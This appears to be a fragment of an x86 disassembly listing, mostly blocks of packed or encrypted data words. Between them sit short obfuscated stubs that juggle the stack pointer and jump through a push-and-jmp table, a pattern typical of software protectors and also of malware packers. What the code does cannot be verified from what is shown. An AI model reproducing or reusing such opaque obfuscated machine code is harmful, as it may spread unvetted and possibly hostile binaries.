437DD488h, 0F4D67FE5h, 6ED6302Ch dd 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h, 0DA452165h, 0C2E69D1Fh dd 4F4CFEA8h, 0FCC26BD9h, 0C674DD87h, 35419B37h, 602CD55Ah dd 42DB89FAh, 7634263h, 79EB5D63h, 1689C1E0h, 0CF741A84h dd 45FF6957h, 1E56067Bh, 132D4968h, 0F46B0FB5h, 0C2EC0645h dd 76EFA786h, 0EC062EE9h, 49D5AEC2h, 0B02580E4h, 0B0B5FBh dd 15070000h, 0C0E75667h, 7EE73885h, 91AFE7C6h, 0A6D4B034h dd 0F4ECD700h, 0B665FA1Fh, 17C9305Fh, 0C65F1736h, 4FD68EF8h dd 30631ED0h, 73AE17C9h, 305E2DECh, 9EBF9EC9h, 289C0937h dd 0A0A7D5B1h, 3D3B8EEAh, 0CA4E2AAh, 0B07AE581h, 0F9CF73FBh dd 9B3771D8h, 6CE97612h, 0A1C9329Bh, 599F5AC5h, 928C92Eh dd 14724C28h, 61C7F950h, 0DBA846E3h, 0C75E7DEEh, 0ECC53h dd 1AC22000h, 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h dd 928A92B0h, 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh dd 9C6D2CB3h, 85EC2E6h, 6BD94FBAh, 0DD87FCC2h, 2B15C674h dd 0F49009BBh, 3094B06Bh, 193819C9h, 4EF66F51h, 3C1B3D7h dd 48FC6BC4h, 0AF82F0D1h, 1DDC430Dh, 0AEC93048h, 0D8E6AE8Fh dd 6E50F96Bh, 102E4AF2h, 0B5940DAFh, 0E95A64FDh, 0C4B6D27Bh dd 6CC21016h, 388BC3BDh, 119C3433h, 0B82F1175h, 33E8930Ch dd 0C0E1C930h, 0AD73EC88h, 0ECCF7437h, 0D7E98DCDh, 55CAF470h dd 8630AFE7h, 77BA7663h, 83652DBh, 15CF369Bh, 87187C34h dd 0DDA64499h, 18C35C38h, 0B1D1A644h, 6E28B190h, 5D2F4BC2h dd 0BE26A30Ch, 51357DBAh, 83B74735h, 0BA1B4C67h, 0C4B6560Fh dd 2068428Dh, 0EDB0A7BFh, 0EB5866D7h, 0E0C1E079h, 9B49BA84h dd 0FE685632h, 0D3300E46h, 0CC40B411h, 7FE68C21h, 0DC8EBh dd 16C63C00h, 0BF2581BFh, 4B82816h, 8E2E93ADh, 35AF1927h dd 8676BE9Ch, 330DA420h, 87B910D4h, 3709A01Ch, 0FBBF16CEh dd 9B59009Fh, 2472C2E6h, 6ED64F96h, 4AF16E0Ah, 83C93094h dd 3573EAA2h, 0EB74109Dh, 0CF74C18Dh, 540798FCh, 75C2EC67h dd 0FE67DD4Bh, 76DFFEDFh, 7115A030h, 309798EEh, 51C8E9C9h dd 26960B35h, 7746F16Eh, 0D2B6C930h, 0B9825A0h, 0FC98FA13h dd 2FA5B863h, 783011C9h, 0D2321703h, 6301F3C4h, 58h, 129B37D1h dd 68DC4876h, 0FC98D0F1h, 823AA698h, 0ED723A1Bh, 0CF74E27Fh dd 7427B8DCh, 55C2EC46h, 6647FD6Bh, 45DE9D02h, 0CEEFC2ECh dd 0B5D1F086h, 0DA4188Bh, 39B51B69h, 7A96F949h, 0BCECAD32h dd 3491C2EBh, 0BC2719B0h, 0EA5A6400h, 60DC447Ah, 0E625B128h dd 9700000Ch, 940D9B37h, 0B190B128h, 8A504AD5h, 8FEBCF7Ah dd 0E69F6910h, 2CEF70C2h, 9DC2E69Fh, 0D5EBCABCh, 0CEB8F06Ch dd 50B58BEFh, 0A2033D94h, 55FDBB22h, 0BCD8BCD8h, 27BE1E82h dd 9EE29906h, 66F9C2E6h, 0C2E69FB3h, 62433514h, 9428B52Ah dd 0C4E5C930h, 0BF259EA0h, 0C480E5DBh, 9D347C5Dh, 1B8242A3h dd 9C5F0D7Fh, 687BA39Bh, 10CA6620h, 0AADF9759h, 52361716h dd 74650BCDh, 3E9BBACFh, 7BA8B7C4h, 5E07930Ah, 9200000Ch dd 1B258C30h, 0AE9039ABh, 1D238A32h, 0AF9138A4h, 228B39h dd 2C22418h, 0B23295ABh, 1EBE251Bh, 0A81C89B7h, 0BE214501h dd 0C2E699FBh, 0EE289ACCh, 0C9309427h, 0E98D08A8h, 7A89ED76h dd 6B0F2ECFh, 0DD74F055h, 0A6C282E3h, 9F9E5DC2h, 0E2FC2E6h dd 0F999DF46h, 80E6D8BCh, 347C5DC4h, 0CC69CF50h, 0F9D8C92Ah dd 0E1389C5Ch, 6FFB627Dh, 0BEDh, 9039A301h, 278E36AEh dd 9A33A919h, 28813BA4h, 9D34B016h, 218775BFh, 0D1340AA3h dd 1D84BA13h, 0BB2816BFh, 80E4A009h, 0E6995C1Fh, 893B6DC2h dd 0F76ED64Fh, 71E85CC9h, 5DC26C17h, 1F4AFE9h, 6CE0Ah dd 9B37B800h, 69E97612h, 0A4CF7A89h, 5EEA2B9Ah, 0CD26D655h dd 81E5C4E5h, 379E46BFh, 0B1289C09h, 0E6B8672Eh, 8C868C2h dd 0E6B7E497h, 0E5C4E5C2h, 0E5B81E81h, 2809C92Ah, 0E1115B8Dh dd 40D44D7Dh, 0B65h, 18B12B99h, 0AF06BE26h, 228B3191h dd 9039A31Ch, 258C38AEh, 0C93F1D07h, 198CB21Bh, 0C53C02ABh dd 2380BE17h, 284C08A1h, 0E69904B7h, 2193C5C2h, 0F76ED64Fh dd 0B168F793h, 1AC93094h, 0D84D733Bh, 0E893F56Ch, 0AF6DD93Eh dd 3C8601F4h, 34000006h, 309427EEh dd 9208A8C9h, 45D9DD2Eh, 256CB4F1h, 25412504h, 97658757h dd 84BAF6DDh, 68F7BF1Dh, 0CF79A428h, 1E204465h, 714A6CA5h dd 6C8C4FD0h, 1C3DC2E7h, 206E716Eh, 0A8CCA801h, 0E7658437h dd 2C6445C2h, 0AA33B112h, 2B91F0CEh, 8D2563h, 929DFB64h dd 8CFEC92Bh, 2481FC13h, 4821D2A0h, 0FB0103ABh, 6B4A6CC5h dd 0D1745523h, 7DE1C50Dh, 9EF662FBh, 0D200000Ah, 5B65CC70h dd 0EED079EBh, 5D63CA72h, 0EFD178E4h, 4062CB79h, 420264D8h dd 0F272D5EBh, 5EFE655Bh, 0E85CC9F7h, 0FE610541h, 0C2E6983Bh dd 1568DA8Ch, 16870371h, 3C5C6FAFh, 2F96F8A3h, 82F0D1C9h dd 0A2655FBFh, 0AD93DBA9h, 0B2329338h, 30AC152Bh, 97A93011h dd 492FB62Eh, 3551E832h, 2FE7EFAAh, 0B03490C9h, 5F7E0829h dd 3C52117h, 506E01F4h, 0DC000005h, 76129B37h, 7A89BEE9h dd 4A2E0FCFh, 8F100F74h, 0C2E69ECCh, 54FDDCFDh, 0D24BF96Ah dd 0A71D88B6h, 0C8571F3Eh, 0C2E69F0Dh, 0CFABE28Eh, 2ACD0650h dd 0C36647C9h, 7DE13861h, 0EA8A1E87h, 1E000009h, 0AF9138A4h dd 1A248D37h, 0A19F36A6h, 0B359C40h, 0AC8E279Dh, 0B62E9884h dd 1EC6211Fh, 0A21A89B7h, 14D0350Bh, 29DF9BDh, 0C2E69757h dd 4F942670h, 0C9F76ED6h, 4F71E85Ch, 4B728D7h, 0C5C93094h dd 625CC5E4h, 0BFC75EFEh, 84E25AC4h, 56CE33FFh, 9F01F4AFh dd 4B7h, 4F71152Dh, 43F669D3h, 84C93094h, 0C872EDA5h, 31C93094h dd 147014A1h, 942CEF70h, 108FC930h, 0C9309469h, 14354362h dd 8981C35Ch, 0F9D8CF7Ah, 8242A39Dh, 34B0152Bh, 0CE47EBADh dd 0CBBCCEAAh, 44F86945h, 0B40A1536h, 0E58963FCh, 0E1C0C92Ah dd 0E110EC44h, 1F8B127Dh, 935h, 0C861DB49h, 7FD68EF6h dd 0D27BE141h, 60C973ECh, 0D57CE85Eh, 59CF2DF7h, 97C42EBh dd 55CCF25Bh, 13704EE7h, 0D8BCF851h, 0E6969447h, 0D16335C2h dd 0F76ED64Fh, 0BEBB5CC9h, 0E7B10F2h, 3110D431h, 0EC978910h dd 0B170D542h, 30516B2Eh, 5C7D5CC9h, 7063C3F5h, 379001F4h dd 22000001h, 0F76ED64Fh, 41E85CC9h, 0F8676B07h, 0C9309441h dd 0EE8AAB8Ah, 9466158Ah, 4667C930h, 0FF56A0Eh, 4ECF74B5h dd 0D3350B6Fh, 5FC05911h, 0C2EC7498h, 52B76318h, 0FBB08FF2h dd 4203h, 9B37B100h, 8D127612h, 0C93093CEh, 94C772EDh dd 2100C930h, 5A3E7657h, 0F40E4C3Eh, 0E5E92FCAh, 5D9377A7h dd 0DB93B288h, 73C2B644h, 0AF3617CFh, 0EBBE8530h, 220C77C2h dd 0AFDDC93Dh, 0A16AFBh, 4FD80000h, 0C9F76ED6h, 427CE55Fh dd 750763E1h, 0E8718EA9h, 0FF382AA0h, 0CA7D9FACh, 5E3AA3EBh dd 145C0060h, 0A20BB92Ah, 305B833Dh, 2B990AC9h, 67D8E682h dd 57FBBDF5h, 835C478Dh, 0A382A02Dh, 0ED5958C7h, 0B392CF76h dd 1A8DB3D7h, 0E08912F9h, 0B697BC64h, 78460E2Fh, 0C1FF560Eh dd 0E658FD67h, 107BAA3Dh, 7F31D89h, 9D070000h, 3CA8963Fh dd 0A31F2188h, 31AE9039h, 0AA1C228Bh, 67B1933Ah, 78D193F5h dd 0CC65DF46h, 842D8FF2h, 329B49BAh, 0CE8D1276h, 0FFC2E694h dd 0D94F1BA9h, 87FCC26Bh, 4FC674DDh, 0C9F76ED6h, 2541E85Ch dd 0A4D31A57h, 9FD7F59Ch, 2CA0Bh, 7115B900h, 30942BEEh dd 0F5BD9CC9h, 4CD31FB3h, 0C930948Dh, 5A3E1F3Eh, 74B8C3C5h dd 472302CFh, 0CD540879h, 0A23DA4ECh, 0C2EC6FF3h, 22BB299Ch dd 0A43DA71Ch, 0A255C1BAh, 0EC707E3Dh, 4F6E4FC2h, 42A77308h dd 0FBB08FE2h, 26413h, 2EEEA100h, 0AFC93094h, 71EE8A03h dd 0CF7A8A39h, 0F315574h, 0B3132D97h, 231D7931h, 0CFAB02C2h dd 0DE9204BDh, 84CCE57Dh, 0FF9B49BAh, 98FC60C1h, 0E7285407h dd 1C5475C2h, 1A85E185h, 0C2E7285Fh, 47014968h, 380662ABh dd 355119CBh, 2B53C0AAh, 0C3251BC9h, 1E3F4901h, 0E1A73FBBh dd 40D44D7Dh, 6F5h, 88219B09h, 3F964EB6h, 923BA101h, 208933ACh dd 953CA81Eh, 198F6DB7h, 0C93C02ABh, 158CB21Bh, 0D3300EA7h dd 98FCB811h, 0E6945407h, 912375C2h, 1071D64Fh, 351435ACh dd 8EF6C8ACh, 43A09ED6h, 6BDBE581h, 334160F9h, 157FEAB7h dd 73EAA2DEh, 0F168D44Dh, 75EC58CFh, 42BA641Fh, 1EFB275Ch dd 36E57AA5h, 97C93051h, 3462C4B6h, 1DB78E8Eh, 43A3953Ch dd 0C401F411h, 5CC986FAh, 0D181C9E8h, 17Dh, 9D671563h dd 0A88189B4h, 6685A4B1h, 0A88964EAh, 0FF65DEE0h, 0C73C0266h dd 0FA6B551Dh, 625C2E4Ah, 812E7EF0h, 0AED48718h, 0D4F5C92Fh dd 5214BDF5h, 2D1377BEh, 0BE9F06B6h, 170D92F6h, 0B6CF73D0h dd 3EA71D88h, 38A73E1Fh, 0C2EBCF7Dh, 0BE251B7Fh, 7CE3871Eh dd 0C2EBCFBDh, 460E2F0Eh, 980CF13Dh, 5DFBAFEAh, 25h, 0D9B37EFh dd 93B22B99h, 0B349D6B2h, 1ACF749Fh, 7A3DA23Bh, 7AC2EC89h dd 0D4301501h, 61FBB0A8h, 0D6h, 71D64FD3h, 1534AD17h, 3593AD34h dd 6DD5EB8Fh, 0BCF5249Ch, 8DACD721h, 0E47D3514h, 9AC7F280h dd 0CD44640Dh, 738336A9h, 6544C930h, 32B2132Dh, 0B43095ABh dd 791D791Dh, 307333E6h, 2AB594C9h, 0C930736Fh, 7D0BB110h dd 0E58B145Ch, 0ACC930C4h, 62248D37h, 79EB58CEh, 83FFC1E0h dd 39CF8D9h, 0CF76C710h, 0B28CE8C9h, 0CAF49054h, 7C3FA057h dd 4DC2E9BEh, 0F5D44D6Ch, 0BC2A14BDh, 3627AD08h, 0F0697BAAh dd 55C64h, 8A329000h, 3BA91D23h, 8834AC92h, 3AA21F21h dd 893BAD93h, 221A0220h, 97A900C4h, 231DB430h, 8BB51CC0h dd 4703AA1Ah, 92FDBC23h, 98CEC2E6h, 6BD94F2Ah, 8E87FCC2h dd 976D1FAh, 0CFC52153h, 9AFE5776h, 0CABA61FEh, 3213C92Fh dd 0D64FC87Ah, 0F793F76Eh, 3094B168h, 0BD241AC9h, 48763E1Fh dd 54C069DBh, 1Bh, 71D64FE6h, 1435AC10h, 3192AC35h, 1A612AB3h dd 2C22310h, 173FABh, 4F8D0000h, 68F76ED6h, 0C93094AEh dd 73E04A31h, 69DB4D12h, 59F0D1F0h, 0BD2B15EBh, 14714F07h dd 960A3450h, 0A09EBF26h, 25049D3Fh, 1EB2F46Dh, 6E6CF397h dd 0DFCF7A8Ah, 3FA49AFEh, 2C482C85h, 0E69F08B3h, 0A8E0C1C2h dd 2EB72D96h, 294DC868h, 309425B6h, 0A3C7E6C9h, 7D3CA3C7h dd 4EC93094h, 9449F06Fh, 0A382C930h, 54B18FEBh, 9E073990h dd 59F9BF26h, 87CAB8DCh, 4C793D08h, 4A2E4A02h, 870AB12Eh dd 0E2C3C930h, 0A38335AAh, 6342CF74h, 0A8F156C6h, 41D54C7Bh dd 441h, 44ED4FB5h, 0F35A0A7Ah, 4EE755CDh, 4AD0F70h, 0B118CC3Ah dd 35938993h, 0AD18268Fh, 41A09E37h, 970C329Bh, 0A4C0842Dh dd 0E692803Bh, 0AD1F49C2h, 0C76ED64Fh, 0BB299DA3h, 37A51C22h dd 0E6AE8FAEh, 9DF96BD8h, 0D59D3FA3h, 5311724Ch, 269E0937h dd 92E9F76Eh, 8A3AAB88h, 0B3B11523h, 4B4201F4h, 26000000h dd 0D33A918h, 90B12894h, 9B376AD8h, 83E97612h, 0D8CF74E2h dd 89C17BE6h, 84BADEFFh, 0F117EC1Dh, 0D4DB8311h, 16C35CF5h dd 0FFC2EC4Eh, 4977DE86h, 620662DAh, 0EC4E3EFDh, 0C8FD8FC2h dd 19A4228Ch, 2BB2FADBh, 394BFh, 0D64F0D00h, 5CC9F76Eh dd 6B0741E8h, 0EBD94622h, 62CF74B4h, 9245DA43h, 2C2EC74h dd 0DE9D0266h, 0EFC2EC73h, 31FD86CEh, 0B08F58CCh, 419DFBh dd 152F0000h, 4D05B72Bh, 4A2E670Bh, 0DB4B1074h, 0F0D1F069h dd 76EE5769h, 0E47B1F57h, 0CF749F56h, 0B82C9BA5h, 899843DCh dd 1031C2ECh, 960F2E58h, 0EC894E09h, 0E9354EC2h, 0B0A8A004h dd 0E255FBh, 4FE70000h, 0C9F76ED6h, 187CE55Fh, 4B03B926h dd 8E111075h dd 0C93093CBh, 0B9252B4h, 0F7D5C2Ah, 5C8BD64Bh, 84E0C1F6h dd 0DD9547BAh, 44097A44h, 0DAFB62E2h, 0E0C17BE4h, 0A118D649h dd 0B411C92Fh, 9009B32Fh, 168F35AEh, 53371637h, 9FF1A837h dd 0FBDAC92Fh, 0BF241AB3h, 1637A51Ah, 0EC29C98Fh, 6FD2EC88h dd 3D7554CDh, 73C21CA2h, 75DCFDCFh, 72169F33h, 3266E0EDh dd 680C2DC9h, 1074F056h, 0DED8AA62h, 878BF963h, 8D246C03h dd 4AEF55B3h, 7DEEFE2Ch, 8AD743DAh, 0FE000002h, 4F71D884h dd 0FAC46DD7h, 417FD686h, 0EBD57CE0h, 4C6EC77Dh, 560E78E4h dd 0FE66C1FFh, 42FA6957h, 0F470D5EBh, 0E27D195Dh, 0C2E69037h dd 1574C690h, 0C31A5367h, 0BAC88673h, 4318ACC4h, 0F0CE86E1h dd 0B9872E96h, 8331984Ch, 76129B37h, 0F168DC48h, 0CDEC58CFh dd 0DC7EE185h, 2DCF749Fh, 0F056680Ch, 3AA53C74h, 0C2EC897Bh dd 371C067Dh, 0FBB0A8CFh, 9C64h, 0D64FD600h, 5FC9F76Eh dd 2DE37CE5h, 24C93098h, 0C8AC05BFh, 99D18BF6h, 1F863EA7h dd 187CB959h, 71680E7Ch, 7FACC4A4h, 0C916A837h, 0D6F7CF73h dd 1C99397Fh, 66DE4678h, 79D54A2Eh, 0F4C9326Ah, 198FB1D5h dd 0CA3C02ABh, 8AD3BF1Ah, 0E0797DEEh, 1C074h, 6ECE3400h dd 0D78DF9C7h, 7CE0407Eh, 0C676EBD5h, 4DF7516Fh, 0FE5EC6E4h dd 4B75DC88h, 0FFC168DCh, 4F71D884h, 83C76ED6h, 8FC178E7h dd 5C0AC2E6h, 6BD94FEEh, 0DD87FCC2h, 9742DDB9h, 30C93094h dd 0B72E960Eh, 56FFB796h, 6ED64FE4h, 0F75CC9F7h, 6D4CD58Fh dd 0D54CF053h, 427CD5F4h, 58047CE1h, 0C0231D79h, 0ECA4851Ch dd 169F3375h, 9AAFED72h, 3F1ECF74h, 0B52798A6h, 48AF122Ch dd 0EC8E24D7h, 0A584A5C2h, 0CD59223Ch, 0B27C077Fh, 5321E045h dd 0B7C93E45h, 0F4A73836h, 0D5C2EC34h, 3A7CD5F4h, 1F7B1F96h dd 831CC021h, 0C2EC34D8h, 0E953CFF1h, 7BE480C8h, 0C9304369h dd 0D9AEC0B2h, 0DB888452h, 5DC4E593h, 0DB420263h, 0AA3FEB90h dd 74EB8F06h, 0CF74896Eh, 19278EAFh, 625C38ACh, 920B4301h dd 1E8735ACh, 861FC520h, 994BB8h, 0D329F58Eh, 0E946D0ABh dd 561C87Ch, 9B0BC83Bh, 0B091B029h, 6400829h, 1CC83C6Ah dd 1821F785h, 73E8AAEDh, 88177352h, 0C92F9D52h, 812F097Bh dd 16E4E1E3h, 3390AE37h, 2EB1D5B1h, 0C9304F6Bh, 0AC357D5Ch dd 0EE83AFD4h, 91AFCB42h, 35148D37h, 5486197Dh, 75CF7455h dd 1158E507h, 0CEEFFA3Eh, 41912167h, 0C35A027Fh, 69BE7DE2h dd 2E0FC2ECh, 0EF46B0Fh, 4FC9365Fh, 5CC9F76Eh, 67F41E8h dd 0F960E441h, 0FF60F9D8h, 0F0B54529h, 5DF43E45h, 3A5EFE63h dd 9143F6A5h, 0BEF6D7A1h, 8A12380h, 8E17CD36h, 74ED4FB0h dd 0EF56680Ch, 6445F76Ah, 0EF94DCFDh, 0F8FE8C43h, 0D079D42Bh dd 41A29CD4h, 0AF142A83h, 0A38AC35h, 8A000000h, 0ABA2B15h dd 0C2FAB293h, 67D54F70h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh dd 8957EDFAh, 4C781E7h, 83000000h, 3C8704EFh, 24248B24h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240C89h, 1CA0h dd 55243C89h, 6A1DF1BDh, 9DBB5361h, 896723EBh, 0E9315BD9h dd 4EC815Dh, 89000000h, 4812424h, 424h, 0B8505F00h, 8 dd 0B8378A2Dh, 5F80175h, 75B8378Ah, 8B580889h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- db 25h, 59h, 0E7h dd 41FCBC5Ah, 60B86B07h, 3064A07h, 30E0FFC5h, 0F363E4C8h dd 345B983Ah, 3B18C706h, 0C139136Eh, 153ABBCBh, 106FAC9h dd 75777E59h, 664CC0E9h, 0AE3B3A1Eh, 0E505A105h, 84F9466h dd 0B237DBC0h, 751CADE3h, 49604B7Ah, 927FE31h, 0FC11C77Dh dd 9C263448h, 6A235D31h, 0CD0CCFE7h, 2332E4FAh, 327A85A3h dd 0C02974F0h, 0FE22144Fh, 584CA787h, 825CAD2Bh, 18783CC3h dd 0DF3B9D67h, 0A457D85Eh, 38650ED2h, 0ED27C19Dh, 852F170Ch dd 0E8682865h, 14h, 15C77E47h, 15A8A37h, 0A9DC784Ch, 520CEC8Fh dd 2CC65677h, 13E85Ah, 6D700000h, 69220CDCh, 8A7766ECh dd 7307999Ah, 0D9DD1AAFh, 0F8B70F19h, 16C2815Eh, 0F000071h dd 280h, 0BBEC8A00h, 731C4D59h, 0CEB3C381h, 32FF8CE3h dd 0E881F858h, 338E7557h, 81F98B66h, 2212CCF0h, 0AE930h dd 0B3630000h, 0DEF44E80h, 89431738h, 9D80E881h, 666054AFh dd 0E39EEB81h, 0C118BE56h, 615E740Eh, 0CE816650h, 28F5D33h dd 81CAB70Fh, 0C2864CEAh, 0BF665061h, 815E7000h, 0C28648C2h dd 0DDF78161h, 814BC9A6h, 1EBh, 28850F00h, 0E9000000h dd 0Dh, 0EC4A469Dh, 35C8B439h, 1CE2636Eh, 24E961h, 0D2860000h dd 0B8496207h, 0CAB6B60Ah, 0B7D8200Ah, 0FF4A124h, 8Bh dd 0FF68E900h, 0F14DFFFFh, 0EE9D9042h, 6E812E9h, 0E8000000h dd 6A2A8864h, 0F88B66EBh, 0FFBF0F5Ah, 6AFAC281h, 8B660000h dd 1B1FBBCEh, 0EB81247Eh, 247E008Ch, 16880Fh, 0E9600000h dd 0Ch, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 61F08B66h, 8B5E32FFh dd 0F3C681C7h, 53236C43h, 0A6E08166h, 0C68158F9h, 708481B3h dd 0C6818DB1h, 2634E290h, 56FFB70Fh, 0BD52C181h, 28F3728h dd 81FEBF0Fh, 637C2AEAh, 0C281F502h, 2637C26h, 0F01EB83h dd 2085h, 0DE900h, 443A0000h, 4D8FF04Eh, 93C61745h, 0E9D99B29h dd 19h, 175EABAEh, 9FA4159h, 0FF96E94Fh, 0F015FFFFh, 0F25F14ACh dd 0B239C21Ah, 79EBDCh, 8CEF9E7Dh, 0D60FE221h, 979FABAFh dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h dd 0ABAFF600h, 9F8995h, 0C77156F0h, 0BEB3D7h, 0D7567118h dd 73E2ADC4h, 2A443D36h, 108DE9h, 0CA56800h, 63E9064Ah dd 68FFFA74h, 64A0D85h, 0FA7459E9h, 0EB068FFh, 4FE9064Ah dd 68FFFA74h, 64A1031h, 0FA7445E9h, 10AD68FFh, 3BE9064Ah dd 68FFFA74h, 64A1161h, 0FA7431E9h, 11FE68FFh, 27E9064Ah dd 68FFFA74h, 64A12D7h, 0FA741DE9h, 139368FFh, 13E9064Ah dd 68FFFA74h, 64A148Dh, 0FA7409E9h, 162768FFh, 0FFE9064Ah dd 68FFFA73h, 64A188Dh, 0FA73F5E9h, 19B868FFh, 0EBE9064Ah dd 62FFFA73h, 0CBF55C00h, 7E40E95Bh, 0CDF35A02h, 7F41E854h dd 0D0F25B09h, 0F272D448h, 4202655Bh, 0CE6ED5EBh, 78EC5967h dd 6EF195D1h, 0C2E689ABh, 4FF84A1Ch, 0C9F76ED6h, 0E88CE85Ch dd 3094C477h, 6C2405C9h, 5AC5A1C5h, 0C930949Fh, 7410928h dd 0D946226Bh, 0CF74B4EBh, 39E85C62h, 0EC73F3A6h, 0D4F5D4C2h dd 841E6C4Dh, 2C10A078h, 82E682A3h, 0EBA75E1Dh, 64E6FC2h dd 0A755009Fh, 2347C2EBh, 0A721D847h, 0D2AEC2EBh, 2DE6520Ch dd 0A2EACBBDh, 7CE84DD9h, 0B9FBB040h, 51h, 1E87B9DDh, 811E3FA6h dd 0C2EC2CDAh, 289AD2F3h, 9BB2B15h, 0BFF9B190h, 61FE9A13h dd 0CF749FDBh, 4AD75220h, 960FB511h, 0EC40C5B7h, 0A687F1B9h dd 9AF5A03Fh, 83E7C2EBh, 0FD994BBDh, 0EB9BB762h, 793110C2h dd 0D3331802h, 60FBAFBAh, 0C8h, 6ED64FD2h, 0E55FC9F7h dd 96A187Ch, 665E0367h, 40A59BD3h, 0E24A54D7h, 91B02DF9h dd 17CD3608h, 1D6F21BEh, 7DE6C930h, 0F3506EC7h, 57B36D22h dd 80A1D7E4h, 86197D19h, 0C92FC6D3h, 0DB9DD5F4h, 59AFE37h dd 0CF73CA47h, 6A0EA786h, 3A72F254h, 3D59D47Ch, 62502B59h dd 8BCF2CC6h, 1EE85CC3h, 1377C933h, 2DDDCD8Ch, 97DFFEC9h dd 9AA4C0E1h, 7511B82Ch, 0D75DA4Bh, 36178EAFh, 61299B08h dd 0DE7BE95Fh, 7DEE42EDh, 51E8A13h, 0EA00000Eh, 536DC478h dd 0E6D871F3h, 556BC27Ah, 0E7D970ECh, 486AC381h, 5A0A7CE0h dd 0EA5ACDF3h, 56067D43h, 0E064C1FFh, 0F6690D49h, 0C2E68843h dd 4F60D284h, 0FCC26BD9h, 0C674DD87h, 76129B37h, 93CE8D12h dd 0DEFFC930h, 0CF6DF296h, 3ECF749Fh, 0A63FA500h, 0A03FA687h dd 0C2EC88F5h, 20B9239Eh, 0A53CA81Eh, 0B38995EEh, 0BEA38FF4h dd 0FBB0A846h, 0ACEFh, 0D64F5D00h, 4643303Dh, 0DAFB62DAh dd 71D9AEA8h, 91F7C950h, 92B76E80h, 1EE32D59h, 7A11001Fh dd 7DE4C5E4h, 2FC12CE2h, 4C025C9h, 0B23293ADh, 48C56D2Bh dd 0C2F9B32Ch, 1130CF73h, 0DB52FEB8h, 63B320BFh, 1E7AC932h dd 2E20DA81h, 9AD2F3C9h, 97A9CDECh, 7E1AB331h, 78B6C00Ch dd 632B21A8h, 0DC79EB5Dh, 7DEE04E5h, 2526B22Bh, 0CA00000Dh dd 734DE458h, 0C6F85113h, 754BE25Ah, 0C7F9500Ch, 684AE361h dd 7AEA5CC0h, 0CA7AEDD3h, 76E65D63h, 0C084E1DFh, 0D6492D69h dd 0C2E68723h, 4F40F2A4h, 310F6BD9h, 8D246CD0h, 3B9252B3h dd 6ED64F89h, 10CC340Ah, 79E0A889h, 0CF66DE47h, 0B13395ABh dd 7F410928h, 0FEC05903h, 85BBDF85h, 1B3AA321h, 0EC9EFA53h dd 5ACA1F8Ah, 205273EAh, 0AAE2DC4Fh, 45371219h, 4B3C9C96h dd 0F8BEF6ABh, 87B9DD58h, 0EDD3A11Bh, 1004F121h, 26B9DD95h dd 0CF73FA58h, 0A950CFABh, 22C2EBF5h, 41F86703h, 8AC2EBF5h dd 0F195E3ABh, 72ED57CFh, 0C2EBF5C7h, 40002100h, 762619DFh dd 0A2F898BAh, 0C7A38242h, 3CA3C7A3h, 0D761E67Dh, 49F06F4Eh dd 82D761E6h, 8A74EBA3h, 0D9DDA5EAh, 0B83146ABh, 0CF3648A6h dd 8CAD8C15h, 0A93B2C4h, 0D69A44Ch, 0E3D1037Fh, 4B7502C0h dd 0D2F36ADAh, 0A49AFE9Ah, 0A259C641h, 2BD1A5F9h, 93B22B0Ah dd 714044DBh, 0BC9DD7EDh, 0D87DE6D8h, 0CA7AEA67h, 0CA537253h dd 5D63CAEBh, 0D6D97CE8h, 2E8C2118h, 0BFA23B7h, 85FF0000h dd 0E4407ED7h, 8BF7C960h, 0D94678D1h, 92F4CA63h, 0CF597BD2h dd 0E049FB6Dh, 54FD67DEh, 0EC45F76Ah, 5AF371D2h, 36E57A1Eh dd 97C2E686h, 0D64F73C1h, 30780A6Eh, 20950012h, 9533703Bh dd 25C988E7h, 1EB2F46Dh, 0A6CF397h, 69CF73FAh, 6ECE330Dh dd 0EBAF4AF1h, 0E75DCBC2h, 8EF8B091h, 4DC354B0h, 5719F193h dd 0EE8AAB8Ah, 54CD6FD0h, 0F0943D75h, 0A1E953CEh, 0A6C24BE7h dd 3042EF39h, 0AF122CC9h, 1233450Dh, 0E261148Bh, 2853C92Fh dd 1AD19FEh, 554601F4h, 0F4000000h, 9B0D9B37h, 0B091B029h dd 0A1C2B0D4h, 5CB84B56h, 80EA753Dh, 0C9CF7469h, 4FB28CE8h dd 2636C6BEh, 0A6870768h, 0ADE7900Fh, 84F6C2EBh, 7A8D4Eh dd 4FB987E7h, 652D0C95h, 0D37AEA5Bh, 5FC676EDh, 0B1BCBh dd 0F0DDAF00h, 2ADC0ACCh, 5B097D43h, 19ABE3C2h, 76129B37h dd 0ABA2C12h, 2658D278h, 98D0D791h, 79A4EA07h, 108FEBCFh dd 0C2E5A469h, 6624362h, 0B019CB38h, 36AF158Eh, 3155E070h dd 74212755h, 5C5CD30Dh, 0E4F98B14h, 0A6C2C92Fh, 2FE18239h dd 14264FC9h, 0C79934E0h, 0AED890B1h, 70D5EB8Fh, 24514A7h dd 0B8993F22h dd 7427B8DCh, 55C9302Ah, 0DF46F66Bh, 3E97DFFEh, 0B821A300h dd 6B13AEDCh, 899D5811h, 0A2EB87C1h, 249F59C6h, 5C2ECF74h dd 0A1AE0892h, 0F45170FBh, 7BA86AE1h, 790A9E07h, 7E00000Ah dd 0CFF15804h, 7A44ED57h, 0C1FF5606h, 6B55FC60h, 0CCEE47FDh dd 0D68EF864h, 7EE6417Fh, 0C27AE9D7h, 74F0556Bh, 62FD99DDh dd 0C2E684B7h, 0EEF44610h, 0C9309427h, 0E98D08A8h, 0F3EFF8Dh dd 3C755998h, 7A61EB74h, 89A8CF7Ah, 